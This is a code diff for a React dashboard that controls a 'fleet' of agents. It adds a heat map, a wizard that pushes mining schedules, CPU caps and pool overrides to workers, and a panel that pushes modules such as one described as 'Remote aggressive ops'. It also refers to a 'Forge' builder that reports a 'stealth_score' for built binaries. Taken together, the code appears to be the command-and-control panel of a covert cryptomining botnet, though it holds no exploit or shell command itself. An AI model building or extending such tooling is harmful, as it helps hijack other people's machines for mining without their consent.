||||
flex-direction: column;
|
||||
gap: 0.5rem;
|
||||
}
|
||||
|
||||
.fleet-heat-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.45rem;
|
||||
font-size: 0.72rem;
|
||||
letter-spacing: 0.1em;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.fleet-heat-count {
|
||||
margin-left: auto;
|
||||
color: var(--neon-cyan);
|
||||
font-size: 0.68rem;
|
||||
}
|
||||
|
||||
.fleet-heat-canvas {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
aspect-ratio: 1;
|
||||
min-height: 160px;
|
||||
border-radius: 8px;
|
||||
border: 1px solid rgba(0, 245, 255, 0.18);
|
||||
background:
|
||||
radial-gradient(ellipse at 50% 45%, rgba(0, 245, 255, 0.06) 0%, transparent 65%),
|
||||
rgba(0, 0, 0, 0.45);
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.fleet-heat-grid {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background-image:
|
||||
linear-gradient(rgba(0, 245, 255, 0.04) 1px, transparent 1px),
|
||||
linear-gradient(90deg, rgba(0, 245, 255, 0.04) 1px, transparent 1px);
|
||||
background-size: 20% 20%;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.fleet-heat-dot {
|
||||
position: absolute;
|
||||
transform: translate(-50%, -50%);
|
||||
border: none;
|
||||
padding: 0;
|
||||
cursor: default;
|
||||
z-index: 2;
|
||||
}
|
||||
|
||||
.fleet-heat-dot--agent {
|
||||
width: 10px;
|
||||
height: 10px;
|
||||
border-radius: 50%;
|
||||
background: var(--dot-color, var(--neon-cyan));
|
||||
box-shadow: 0 0 6px var(--dot-color, var(--neon-cyan));
|
||||
cursor: pointer;
|
||||
transition: transform 0.12s, box-shadow 0.12s, opacity 0.12s;
|
||||
}
|
||||
|
||||
.fleet-heat-dot--agent:hover {
|
||||
transform: translate(-50%, -50%) scale(1.35);
|
||||
box-shadow: 0 0 12px var(--dot-color, var(--neon-cyan));
|
||||
}
|
||||
|
||||
.fleet-heat-dot--agent.offline {
|
||||
opacity: 0.35;
|
||||
box-shadow: none;
|
||||
}
|
||||
|
||||
.fleet-heat-dot--agent.selected {
|
||||
transform: translate(-50%, -50%) scale(1.45);
|
||||
box-shadow:
|
||||
0 0 0 2px rgba(255, 255, 255, 0.35),
|
||||
0 0 14px var(--dot-color, var(--neon-cyan));
|
||||
}
|
||||
|
||||
.fleet-heat-dot--agent.spike-pulse {
|
||||
animation: fleet-heat-spike 1.1s ease-out;
|
||||
}
|
||||
|
||||
@keyframes fleet-heat-spike {
|
||||
0% {
|
||||
transform: translate(-50%, -50%) scale(1);
|
||||
box-shadow: 0 0 4px var(--dot-color, var(--neon-cyan));
|
||||
}
|
||||
35% {
|
||||
transform: translate(-50%, -50%) scale(2.2);
|
||||
box-shadow:
|
||||
0 0 0 3px rgba(255, 255, 255, 0.25),
|
||||
0 0 22px var(--dot-color, var(--neon-cyan)),
|
||||
0 0 36px rgba(0, 245, 255, 0.55);
|
||||
}
|
||||
100% {
|
||||
transform: translate(-50%, -50%) scale(1);
|
||||
box-shadow: 0 0 6px var(--dot-color, var(--neon-cyan));
|
||||
}
|
||||
}
|
||||
|
||||
.fleet-heat-dot--comrade {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
border-radius: 50%;
|
||||
background: var(--dot-color, #ffb020);
|
||||
box-shadow: 0 0 8px rgba(255, 176, 32, 0.85);
|
||||
border: 1px solid rgba(255, 220, 120, 0.7);
|
||||
z-index: 3;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.fleet-heat-legend {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem 0.75rem;
|
||||
font-size: 0.62rem;
|
||||
color: var(--text-muted);
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
|
||||
.fleet-heat-legend > span {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.3rem;
|
||||
}
|
||||
|
||||
.fleet-heat-legend-dot {
|
||||
display: inline-block;
|
||||
width: 7px;
|
||||
height: 7px;
|
||||
border-radius: 50%;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.fleet-heat-legend-dot.agent {
|
||||
background: var(--neon-cyan);
|
||||
box-shadow: 0 0 4px var(--neon-cyan);
|
||||
}
|
||||
|
||||
.fleet-heat-legend-dot.comrade {
|
||||
background: #ffb020;
|
||||
box-shadow: 0 0 4px #ffb020;
|
||||
}
|
||||
|
||||
.fleet-heat-legend-dot.pulse {
|
||||
background: var(--neon-cyan);
|
||||
animation: fleet-heat-spike 1.1s ease-out infinite;
|
||||
}
|
||||
|
||||
.fleet-heat-empty {
|
||||
margin: 0;
|
||||
font-size: 0.72rem;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
137
server/web/src/components/Fleet/FleetHeatMiniMap.tsx
Normal file
137
server/web/src/components/Fleet/FleetHeatMiniMap.tsx
Normal file
@@ -0,0 +1,137 @@
|
||||
import { useEffect, useMemo, useRef, useState } from 'react';
|
||||
import type { Agent } from '../../types';
|
||||
import type { FleetGroup } from '../../help/fleetGroups';
|
||||
import { formatHashrate } from '../../help/fleetFilters';
|
||||
import { usePresence } from '../../context/PresenceContext';
|
||||
import {
|
||||
agentAccentColor,
|
||||
COMRADE_DOT_COLOR,
|
||||
hashrateSpiked,
|
||||
layoutAgentPoints,
|
||||
layoutComradePoints,
|
||||
} from '../../help/fleetHeatMap';
|
||||
import './FleetHeatMiniMap.css';
|
||||
|
||||
interface FleetHeatMiniMapProps {
|
||||
agents: Agent[];
|
||||
groups: FleetGroup[];
|
||||
allIds: string[];
|
||||
selectedIds: Set<string>;
|
||||
onSelectAgent: (id: string) => void;
|
||||
}
|
||||
|
||||
export default function FleetHeatMiniMap({
|
||||
agents,
|
||||
groups,
|
||||
allIds,
|
||||
selectedIds,
|
||||
onSelectAgent,
|
||||
}: FleetHeatMiniMapProps) {
|
||||
const { comrades } = usePresence();
|
||||
const prevHashrateRef = useRef<Record<string, number>>({});
|
||||
const [spikingIds, setSpikingIds] = useState<Set<string>>(() => new Set());
|
||||
|
||||
useEffect(() => {
|
||||
const spikes = new Set<string>();
|
||||
for (const agent of agents) {
|
||||
const prev = prevHashrateRef.current[agent.id];
|
||||
const current = agent.hashrate_15s ?? 0;
|
||||
if (hashrateSpiked(prev, current)) spikes.add(agent.id);
|
||||
prevHashrateRef.current[agent.id] = current;
|
||||
}
|
||||
if (spikes.size === 0) return;
|
||||
setSpikingIds(spikes);
|
||||
const t = setTimeout(() => setSpikingIds(new Set()), 1200);
|
||||
return () => clearTimeout(t);
|
||||
}, [agents]);
|
||||
|
||||
const agentPoints = useMemo(() => layoutAgentPoints(agents, groups), [agents, groups]);
|
||||
const comradePoints = useMemo(
|
||||
() => layoutComradePoints(comrades.map((c) => c.user)),
|
||||
[comrades],
|
||||
);
|
||||
|
||||
const onlineCount = agents.filter((a) => a.status === 'online').length;
|
||||
const agentById = useMemo(() => new Map(agents.map((a) => [a.id, a])), [agents]);
|
||||
|
||||
return (
|
||||
<div className="fleet-heat-minimap">
|
||||
<div className="fleet-heat-header font-tech">
|
||||
<span className="section-ornament">◆</span>
|
||||
FLEET HEAT
|
||||
<span className="fleet-heat-count">
|
||||
{onlineCount}/{agents.length}
|
||||
</span>
|
||||
</div>
|
||||
|
||||
{agents.length === 0 ? (
|
||||
<p className="fleet-heat-empty">No nodes yet — deploy a build to see the map.</p>
|
||||
) : (
|
||||
<div
|
||||
className="fleet-heat-canvas"
|
||||
role="img"
|
||||
aria-label={`Fleet heat map with ${agents.length} agents and ${comrades.length} online comrades`}
|
||||
>
|
||||
<div className="fleet-heat-grid" aria-hidden />
|
||||
|
||||
{agentPoints.map((pt) => {
|
||||
const agent = agentById.get(pt.id);
|
||||
if (!agent) return null;
|
||||
const selected = selectedIds.has(pt.id);
|
||||
const color = agentAccentColor(pt.id, allIds, pt.color);
|
||||
const pulsing = spikingIds.has(pt.id);
|
||||
const hr = agent.hashrate_15s ?? 0;
|
||||
|
||||
return (
|
||||
<button
|
||||
key={pt.id}
|
||||
type="button"
|
||||
className={[
|
||||
'fleet-heat-dot',
|
||||
'fleet-heat-dot--agent',
|
||||
pt.online ? '' : 'offline',
|
||||
selected ? 'selected' : '',
|
||||
pulsing ? 'spike-pulse' : '',
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join(' ')}
|
||||
style={{ left: `${pt.x}%`, top: `${pt.y}%`, '--dot-color': color } as React.CSSProperties}
|
||||
title={`${pt.label} · ${agent.status}${hr > 0 ? ` · ${formatHashrate(hr)}` : ''}`}
|
||||
aria-label={`Select ${pt.label}`}
|
||||
aria-pressed={selected}
|
||||
onClick={() => onSelectAgent(pt.id)}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
|
||||
{comradePoints.map((pt) => (
|
||||
<span
|
||||
key={pt.id}
|
||||
className="fleet-heat-dot fleet-heat-dot--comrade"
|
||||
style={
|
||||
{ left: `${pt.x}%`, top: `${pt.y}%`, '--dot-color': COMRADE_DOT_COLOR } as React.CSSProperties
|
||||
}
|
||||
title={`Operator ${pt.label} online`}
|
||||
aria-label={`Comrade ${pt.label}`}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="fleet-heat-legend font-tech">
|
||||
<span>
|
||||
<i className="fleet-heat-legend-dot agent" aria-hidden />
|
||||
Agents
|
||||
</span>
|
||||
<span>
|
||||
<i className="fleet-heat-legend-dot comrade" aria-hidden />
|
||||
Comrades
|
||||
</span>
|
||||
<span>
|
||||
<i className="fleet-heat-legend-dot pulse" aria-hidden />
|
||||
Hash spike
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -185,7 +185,7 @@ export function FleetHealthCard({ health }: { health: FleetHealth }) {
|
||||
: '#ff3c50';
|
||||
|
||||
return (
|
||||
<NeonCard accent={accent as any} className="fleet-health-card" hud>
|
||||
<NeonCard accent={accent as any} className="fleet-health-card operator-deck-card operator-interactive" hud>
|
||||
<div className="fh-header">
|
||||
<div>
|
||||
<span className="fh-label font-tech">FLEET HEALTH</span>
|
||||
|
||||
73
server/web/src/components/Fleet/FleetRuntimePanel.css
Normal file
73
server/web/src/components/Fleet/FleetRuntimePanel.css
Normal file
@@ -0,0 +1,73 @@
|
||||
.fleet-policy-deck {
|
||||
border: 1px solid rgba(74, 222, 128, 0.25);
|
||||
box-shadow: 0 0 24px rgba(74, 222, 128, 0.08);
|
||||
}
|
||||
|
||||
.fleet-policy-eyebrow {
|
||||
margin: 0 0 0.35rem;
|
||||
font-size: 0.72rem;
|
||||
letter-spacing: 0.12em;
|
||||
color: rgba(74, 222, 128, 0.85);
|
||||
}
|
||||
|
||||
.fleet-policy-steps {
|
||||
margin-top: 0.5rem;
|
||||
}
|
||||
|
||||
.fleet-policy-step-panel {
|
||||
margin-top: 1rem;
|
||||
padding-top: 0.75rem;
|
||||
border-top: 1px solid rgba(255, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.fleet-policy-step-title {
|
||||
margin: 0 0 0.75rem;
|
||||
font-size: 1rem;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.fleet-policy-step-actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
margin-top: 1rem;
|
||||
}
|
||||
|
||||
.fleet-policy-review {
|
||||
padding: 0.75rem 1rem;
|
||||
border-radius: 8px;
|
||||
background: rgba(0, 0, 0, 0.25);
|
||||
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||
font-size: 0.92rem;
|
||||
}
|
||||
|
||||
.fleet-policy-review p {
|
||||
margin: 0.35rem 0;
|
||||
}
|
||||
|
||||
.fleet-policy-ack-banner {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
gap: 0.75rem;
|
||||
padding: 1rem 1.25rem;
|
||||
margin: 0.75rem 0;
|
||||
border-radius: 10px;
|
||||
background: rgba(74, 222, 128, 0.08);
|
||||
border: 1px solid rgba(74, 222, 128, 0.35);
|
||||
}
|
||||
|
||||
.fleet-policy-ack-count {
|
||||
font-size: 2.5rem;
|
||||
line-height: 1;
|
||||
color: var(--neon-green, #6f6);
|
||||
text-shadow: 0 0 16px rgba(74, 222, 128, 0.35);
|
||||
}
|
||||
|
||||
.fleet-policy-ack-label {
|
||||
font-size: 0.95rem;
|
||||
color: var(--text-secondary);
|
||||
}
|
||||
|
||||
.fleet-module-deck {
|
||||
margin-top: 0.5rem;
|
||||
}
|
||||
444
server/web/src/components/Fleet/FleetRuntimePanel.tsx
Normal file
444
server/web/src/components/Fleet/FleetRuntimePanel.tsx
Normal file
@@ -0,0 +1,444 @@
|
||||
import { useEffect, useMemo, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import { useModalAmbientDuck } from '../../context/AmbientMusicContext';
|
||||
import { useWebSocket } from '../../hooks/useWebSocket';
|
||||
import { useFleetGroups } from '../../hooks/useFleetGroups';
|
||||
import type { FleetModuleManifest } from '../../types';
|
||||
import NeonCard from '../NeonCard/NeonCard';
|
||||
import './FleetRuntimePanel.css';
|
||||
|
||||
type TargetMode = 'all' | 'group';
|
||||
type WizardStep = 1 | 2 | 3 | 4;
|
||||
|
||||
const POLICY_STEPS: { step: WizardStep; label: string }[] = [
|
||||
{ step: 1, label: 'Pick target' },
|
||||
{ step: 2, label: 'Set policy' },
|
||||
{ step: 3, label: 'Confirm push' },
|
||||
{ step: 4, label: 'Live acks' },
|
||||
];
|
||||
|
||||
function stepStatus(current: WizardStep, step: WizardStep): 'done' | 'active' | 'pending' {
|
||||
if (step < current) return 'done';
|
||||
if (step === current) return 'active';
|
||||
return 'pending';
|
||||
}
|
||||
|
||||
export default function FleetRuntimePanel() {
|
||||
const { agents, policyAcks } = useWebSocket();
|
||||
const { groups } = useFleetGroups();
|
||||
const [modules, setModules] = useState<FleetModuleManifest[]>([]);
|
||||
const [wizardStep, setWizardStep] = useState<WizardStep>(1);
|
||||
const [targetMode, setTargetMode] = useState<TargetMode>('all');
|
||||
const [groupId, setGroupId] = useState('');
|
||||
const [selectedModule, setSelectedModule] = useState('crucible_ops');
|
||||
const [miningMode, setMiningMode] = useState('scheduled');
|
||||
const [scheduleStart, setScheduleStart] = useState('22:00');
|
||||
const [scheduleEnd, setScheduleEnd] = useState('06:00');
|
||||
const [maxCpu, setMaxCpu] = useState(75);
|
||||
const [poolHost, setPoolHost] = useState('');
|
||||
const [poolPort, setPoolPort] = useState(0);
|
||||
const [policyMsg, setPolicyMsg] = useState('');
|
||||
const [moduleMsg, setModuleMsg] = useState('');
|
||||
const [pushingPolicy, setPushingPolicy] = useState(false);
|
||||
const [pushingModule, setPushingModule] = useState(false);
|
||||
const [pushId, setPushId] = useState<string | null>(null);
|
||||
const [expectedSent, setExpectedSent] = useState(0);
|
||||
useModalAmbientDuck(wizardStep === 3);
|
||||
|
||||
useEffect(() => {
|
||||
api.listFleetModules().then(setModules).catch(() => setModules([]));
|
||||
}, []);
|
||||
|
||||
const onlineCount = useMemo(() => agents.filter((a) => a.status === 'online').length, [agents]);
|
||||
|
||||
const targetLabel = useMemo(() => {
|
||||
if (targetMode === 'all') return `All online (${onlineCount})`;
|
||||
const g = groups.find((x) => x.id === groupId);
|
||||
return g ? `${g.name} (${g.agentIds.length} agents)` : 'No group selected';
|
||||
}, [targetMode, groupId, groups, onlineCount]);
|
||||
|
||||
const ackCount = useMemo(() => {
|
||||
if (!pushId) return 0;
|
||||
const ids = new Set<string>();
|
||||
for (const ack of policyAcks) {
|
||||
if (ack.push_id === pushId && ack.agent_id) ids.add(ack.agent_id);
|
||||
}
|
||||
return ids.size;
|
||||
}, [policyAcks, pushId]);
|
||||
|
||||
const resolveAgentIds = (): string[] => {
|
||||
if (targetMode === 'all') return ['all'];
|
||||
const g = groups.find((x) => x.id === groupId);
|
||||
if (!g || g.agentIds.length === 0) return [];
|
||||
return g.agentIds;
|
||||
};
|
||||
|
||||
const targetReady = targetMode === 'all' || (groupId !== '' && resolveAgentIds().length > 0);
|
||||
|
||||
const handlePushPolicy = async () => {
|
||||
const agent_ids = resolveAgentIds();
|
||||
if (agent_ids.length === 0) {
|
||||
setPolicyMsg('Select a group with agents or use All online.');
|
||||
return;
|
||||
}
|
||||
setPushingPolicy(true);
|
||||
setPolicyMsg('');
|
||||
try {
|
||||
const policy: Record<string, unknown> = {
|
||||
mining_mode: miningMode,
|
||||
max_cpu_usage_pct: maxCpu,
|
||||
};
|
||||
if (miningMode === 'scheduled') {
|
||||
policy.schedule_start = scheduleStart;
|
||||
policy.schedule_end = scheduleEnd;
|
||||
}
|
||||
if (poolHost.trim()) {
|
||||
policy.pool_host = poolHost.trim();
|
||||
if (poolPort > 0) policy.pool_port = poolPort;
|
||||
}
|
||||
const res = await api.pushFleetPolicy({ agent_ids, policy });
|
||||
if (res.success) {
|
||||
setPushId(res.push_id ?? null);
|
||||
setExpectedSent(res.sent ?? 0);
|
||||
setWizardStep(4);
|
||||
setPolicyMsg(
|
||||
`Policy dispatched to ${res.sent} agent(s)${res.failed ? ` (${res.failed} delivery failures)` : ''}. Waiting for live acks…`,
|
||||
);
|
||||
} else {
|
||||
setPolicyMsg(res.error || 'No agents received the policy.');
|
||||
}
|
||||
} catch (e) {
|
||||
setPolicyMsg(e instanceof Error ? e.message : 'Push failed');
|
||||
} finally {
|
||||
setPushingPolicy(false);
|
||||
}
|
||||
};
|
||||
|
||||
const handlePushModule = async () => {
|
||||
const agent_ids = resolveAgentIds();
|
||||
if (agent_ids.length === 0) {
|
||||
setModuleMsg('Select a group with agents or use All online.');
|
||||
return;
|
||||
}
|
||||
setPushingModule(true);
|
||||
setModuleMsg('');
|
||||
try {
|
||||
const res = await api.pushFleetModule({ agent_ids, module: selectedModule });
|
||||
setModuleMsg(
|
||||
res.success
|
||||
? `Module "${res.module}" queued for ${res.sent} agent(s).`
|
||||
: res.error || 'No agents received the module push.',
|
||||
);
|
||||
} catch (e) {
|
||||
setModuleMsg(e instanceof Error ? e.message : 'Push failed');
|
||||
} finally {
|
||||
setPushingModule(false);
|
||||
}
|
||||
};
|
||||
|
||||
const resetWizard = () => {
|
||||
setWizardStep(1);
|
||||
setPushId(null);
|
||||
setExpectedSent(0);
|
||||
setPolicyMsg('');
|
||||
};
|
||||
|
||||
return (
|
||||
<>
|
||||
<NeonCard accent="green" className="settings-section fleet-policy-deck operator-deck-card operator-interactive" hud>
|
||||
<p className="fleet-policy-eyebrow font-tech">RUNTIME · NO RE-FORGE</p>
|
||||
<h2 className="font-display">Live Fleet Policy</h2>
|
||||
<p className="section-desc">
|
||||
Push live mining rules to connected workers — schedule, CPU cap, and optional pool overrides apply in memory
|
||||
via <code className="mono-sm">policy_update</code>. Identity and baked forge options stay on the binary; this
|
||||
panel never replaces the Forge builder.
|
||||
</p>
|
||||
|
||||
<div className="forge-mission-steps fleet-policy-steps" aria-label="Policy push steps">
|
||||
{POLICY_STEPS.map(({ step, label }) => {
|
||||
const status = stepStatus(wizardStep, step);
|
||||
return (
|
||||
<span key={step} className={`forge-mission-step ${status}`}>
|
||||
{status === 'done' ? '✓' : status === 'active' ? '●' : '○'} {step}. {label}
|
||||
</span>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
|
||||
{wizardStep === 1 && (
|
||||
<div className="fleet-policy-step-panel operator-interactive">
|
||||
<h3 className="fleet-policy-step-title">Step 1 — Pick target</h3>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="fleet-target-mode">
|
||||
Target fleet
|
||||
</label>
|
||||
<select
|
||||
id="fleet-target-mode"
|
||||
className="input"
|
||||
value={targetMode}
|
||||
onChange={(e) => setTargetMode(e.target.value as TargetMode)}
|
||||
>
|
||||
<option value="all">All online ({onlineCount})</option>
|
||||
<option value="group">Fleet group</option>
|
||||
</select>
|
||||
</div>
|
||||
{targetMode === 'group' && (
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="fleet-group">
|
||||
Group
|
||||
</label>
|
||||
<select
|
||||
id="fleet-group"
|
||||
className="input"
|
||||
value={groupId}
|
||||
onChange={(e) => setGroupId(e.target.value)}
|
||||
>
|
||||
<option value="">Select group…</option>
|
||||
{groups.map((g) => (
|
||||
<option key={g.id} value={g.id}>
|
||||
{g.name} ({g.agentIds.length})
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
<div className="fleet-policy-step-actions">
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary"
|
||||
disabled={!targetReady}
|
||||
onClick={() => setWizardStep(2)}
|
||||
>
|
||||
Next — Set policy
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{wizardStep === 2 && (
|
||||
<div className="fleet-policy-step-panel operator-interactive">
|
||||
<h3 className="fleet-policy-step-title">Step 2 — Set policy</h3>
|
||||
<p className="form-hint">Target: {targetLabel}</p>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="fleet-mining-mode">
|
||||
Mining mode
|
||||
</label>
|
||||
<select
|
||||
id="fleet-mining-mode"
|
||||
className="input"
|
||||
value={miningMode}
|
||||
onChange={(e) => setMiningMode(e.target.value)}
|
||||
>
|
||||
<option value="always">Always</option>
|
||||
<option value="idle">Idle</option>
|
||||
<option value="scheduled">Scheduled</option>
|
||||
</select>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="fleet-max-cpu">
|
||||
Max CPU %
|
||||
</label>
|
||||
<input
|
||||
id="fleet-max-cpu"
|
||||
type="number"
|
||||
className="input"
|
||||
min={10}
|
||||
max={100}
|
||||
value={maxCpu}
|
||||
onChange={(e) => setMaxCpu(parseInt(e.target.value, 10) || 75)}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
{miningMode === 'scheduled' && (
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="fleet-sched-start">
|
||||
Mine from
|
||||
</label>
|
||||
<input
|
||||
id="fleet-sched-start"
|
||||
type="time"
|
||||
className="input"
|
||||
value={scheduleStart}
|
||||
onChange={(e) => setScheduleStart(e.target.value)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="fleet-sched-end">
|
||||
Mine until
|
||||
</label>
|
||||
<input
|
||||
id="fleet-sched-end"
|
||||
type="time"
|
||||
className="input"
|
||||
value={scheduleEnd}
|
||||
onChange={(e) => setScheduleEnd(e.target.value)}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="fleet-pool-host">
|
||||
Pool host (optional)
|
||||
</label>
|
||||
<input
|
||||
id="fleet-pool-host"
|
||||
type="text"
|
||||
className="input mono"
|
||||
placeholder="leave blank to keep baked pool"
|
||||
value={poolHost}
|
||||
onChange={(e) => setPoolHost(e.target.value)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="fleet-pool-port">
|
||||
Pool port
|
||||
</label>
|
||||
<input
|
||||
id="fleet-pool-port"
|
||||
type="number"
|
||||
className="input"
|
||||
min={0}
|
||||
value={poolPort || ''}
|
||||
onChange={(e) => setPoolPort(parseInt(e.target.value, 10) || 0)}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div className="fleet-policy-step-actions">
|
||||
<button type="button" className="btn btn-outline" onClick={() => setWizardStep(1)}>
|
||||
Back
|
||||
</button>
|
||||
<button type="button" className="btn btn-primary" onClick={() => setWizardStep(3)}>
|
||||
Next — Review
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{wizardStep === 3 && (
|
||||
<div className="fleet-policy-step-panel operator-interactive">
|
||||
<h3 className="fleet-policy-step-title">Step 3 — Confirm push</h3>
|
||||
<div className="fleet-policy-review">
|
||||
<p>
|
||||
<strong>Target:</strong> {targetLabel}
|
||||
</p>
|
||||
<p>
|
||||
<strong>Mining:</strong> {miningMode}
|
||||
{miningMode === 'scheduled' ? ` · ${scheduleStart} → ${scheduleEnd}` : ''}
|
||||
</p>
|
||||
<p>
|
||||
<strong>CPU cap:</strong> {maxCpu}%
|
||||
</p>
|
||||
<p>
|
||||
<strong>Pool override:</strong>{' '}
|
||||
{poolHost.trim() ? `${poolHost.trim()}${poolPort > 0 ? `:${poolPort}` : ''}` : 'none (keep baked)'}
|
||||
</p>
|
||||
</div>
|
||||
<div className="fleet-policy-step-actions">
|
||||
<button type="button" className="btn btn-outline" onClick={() => setWizardStep(2)}>
|
||||
Back
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary"
|
||||
onClick={() => void handlePushPolicy()}
|
||||
disabled={pushingPolicy || !targetReady}
|
||||
>
|
||||
{pushingPolicy ? 'Pushing…' : 'Confirm & push policy'}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{wizardStep === 4 && (
|
||||
<div className="fleet-policy-step-panel operator-interactive" aria-live="polite">
|
||||
<h3 className="fleet-policy-step-title">Step 4 — Live acknowledgements</h3>
|
||||
<div className="fleet-policy-ack-banner">
|
||||
<span className="fleet-policy-ack-count font-display">{ackCount}</span>
|
||||
<span className="fleet-policy-ack-label">
|
||||
agent{ackCount === 1 ? '' : 's'} acknowledged
|
||||
{expectedSent > 0 ? ` · ${expectedSent} dispatched` : ''}
|
||||
</span>
|
||||
</div>
|
||||
{pushId && <p className="form-hint mono-sm">push_id: {pushId}</p>}
|
||||
{policyMsg && <p className="form-hint">{policyMsg}</p>}
|
||||
<div className="fleet-policy-step-actions">
|
||||
<button type="button" className="btn btn-outline" onClick={resetWizard}>
|
||||
Push another policy
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="magenta" className="settings-section fleet-module-deck operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Push Module to Fleet</h2>
|
||||
<p className="section-desc">
|
||||
Stage signed feature packs from <code className="mono-sm">data/modules/</code> — agents fetch via{' '}
|
||||
<code className="mono-sm">GET /api/v1/agent/module/{name}</code> and enable flags without a full
|
||||
re-forge. Uses the same target picker as Live Fleet Policy above.
|
||||
</p>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="fleet-target-mode-module">
|
||||
Target
|
||||
</label>
|
||||
<select
|
||||
id="fleet-target-mode-module"
|
||||
className="input"
|
||||
value={targetMode}
|
||||
onChange={(e) => setTargetMode(e.target.value as TargetMode)}
|
||||
>
|
||||
<option value="all">All online ({onlineCount})</option>
|
||||
<option value="group">Fleet group</option>
|
||||
</select>
|
||||
</div>
|
||||
{targetMode === 'group' && (
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="fleet-group-module">
|
||||
Group
|
||||
</label>
|
||||
<select id="fleet-group-module" className="input" value={groupId} onChange={(e) => setGroupId(e.target.value)}>
|
||||
<option value="">Select group…</option>
|
||||
{groups.map((g) => (
|
||||
<option key={g.id} value={g.id}>
|
||||
{g.name} ({g.agentIds.length})
|
||||
</option>
|
||||
))}
|
||||
</select>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label" htmlFor="fleet-module">
|
||||
Module pack
|
||||
</label>
|
||||
<select
|
||||
id="fleet-module"
|
||||
className="input"
|
||||
value={selectedModule}
|
||||
onChange={(e) => setSelectedModule(e.target.value)}
|
||||
>
|
||||
{(modules.length ? modules : [{ name: 'crucible_ops', description: 'Remote aggressive ops' }]).map(
|
||||
(m) => (
|
||||
<option key={m.name} value={m.name}>
|
||||
{m.name} — {m.description || ('version' in m ? m.version : '')}
|
||||
</option>
|
||||
),
|
||||
)}
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<button type="button" className="btn btn-outline" onClick={handlePushModule} disabled={pushingModule}>
|
||||
{pushingModule ? 'Pushing…' : 'Push module'}
|
||||
</button>
|
||||
{moduleMsg && <p className="form-hint" style={{ marginTop: '0.5rem' }}>{moduleMsg}</p>}
|
||||
</NeonCard>
|
||||
</>
|
||||
);
|
||||
}
|
||||
@@ -1,5 +1,6 @@
|
||||
import { useEffect } from 'react';
|
||||
import type { BuildResponse } from '../../types';
|
||||
import { useModalAmbientDuck } from '../../context/AmbientMusicContext';
|
||||
import { useSound } from '../../context/SoundContext';
|
||||
import DownloadButton from '../DownloadButton';
|
||||
import './ForgeDispenseReveal.css';
|
||||
@@ -20,6 +21,7 @@ function dnaBars(fingerprint?: string): number[] {
|
||||
}
|
||||
|
||||
export default function ForgeDispenseReveal({ result, onClose }: Props) {
|
||||
useModalAmbientDuck(true);
|
||||
const { play } = useSound();
|
||||
const score = result.stealth_score ?? 0;
|
||||
const bars = dnaBars(result.binary_fingerprint);
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
0 4px 18px rgba(0, 0, 0, 0.55),
|
||||
0 0 1px rgba(0, 245, 255, 0.15);
|
||||
pointer-events: auto;
|
||||
opacity: 0.72;
|
||||
opacity: var(--deck-ambient-ui-opacity, 0.72);
|
||||
transition: opacity 0.25s ease, border-color 0.25s ease, box-shadow 0.25s ease;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,13 +1,24 @@
|
||||
import { useEffect } from 'react';
|
||||
import { useLocation } from 'react-router-dom';
|
||||
import { useAmbientMusic } from '../context/AmbientMusicContext';
|
||||
import { resolvePageAmbientIntensity } from '../audio/ambientMusic';
|
||||
import './GlobalMusicPlayer.css';
|
||||
|
